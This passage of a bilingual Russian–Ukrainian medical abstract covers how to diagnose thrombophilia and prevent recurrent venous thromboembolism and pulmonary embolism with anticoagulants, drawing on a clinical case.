обязательное обследование с целью подтверждения / исключения врожденной или приобретенной тромбофилии, что определяет программу профилактики повторных ВТЭ. У больных с диагностированной тром­бофилией необходимо использовать персонифицированный подход по выбору антикоагулянтных средств про­филактики. Показания для использования прямых или непрямых антикоагулянтов определяется наличием у пациента определенной формы тромбофилии. Только использование такого диагностического алгоритма позволяет своевременно назначить адекватную профилактическую антикоагулянтную терапию таким пациентам, что подтверждает описанный нами клинический случай. Выводы. Большая частота заболеваемости ВТЭ, недостаточные знания практикующих врачей по диагностике самой болезни, определение ее причин и клинических форм, а также неоднозначность полученных результатов различных программ лечения и профилактики ВТЭ/ТЭЛА обосновывают необходимость проведения допол­нительных многоцентровых клинических исследований и более широкого обсуждения данной проблемы среди врачей.Венозний тромбоз і емболія (ВТЕ) – одне з найтяжчих за перебігом і загрозливих для життя ускладнень. Мета дослідження – проаналізувати сучасні підходи до діаґностики і лікування хворих із тромбофілією, ускладненою рецидивуючою тромбоемболією легеневої артерії, на основі власного клінічного випадку. Результати. Для оцінки ризику ВТЕ у госпіталізованих пацієнтів терапевтичного профілю доцільно вико­ристо­вувати шкалу Падуа, а при повторних ВТЕ/ТЕЛА, особливо у пацієнтів молодого віку, показане обов’язкове обстеження з метою підтвердження/виключення вродженої або набутої тромбофілії, що визначає програму профілактики повторних ВТЕ. У хворих з діагностованою тромбофілією необхідно використовувати персоніфікований підхід до вибору антикоагулянтних засобів профілактики. Показання для застосування прямих чи непрямих анти­коагулянтних засобів визначаються наявністю у пацієнта певної форми тромбофілії. Лише використання такого діагностичного алгоритму дозволяє своєчасно призначити таким пацієнтам адекватну профілактичну антикоагулянтну терапію, що підтверджує описаний нами клінічний випадок. Висновок. Велика частота захворюваності на ВТЕ, недостатні знання практикуючих лікарів щодо діагностики самої хвороби, визначення її причин і клінічних форм, а також неоднозначність отриманих результатів різних програм лікування і профілактики ВТЕ/ТЕЛА обґрунтовують необхідність проведення додаткових багатоцентрових клінічних досліджень та більш широкого обговорення даної проблеми в лікарському середовищі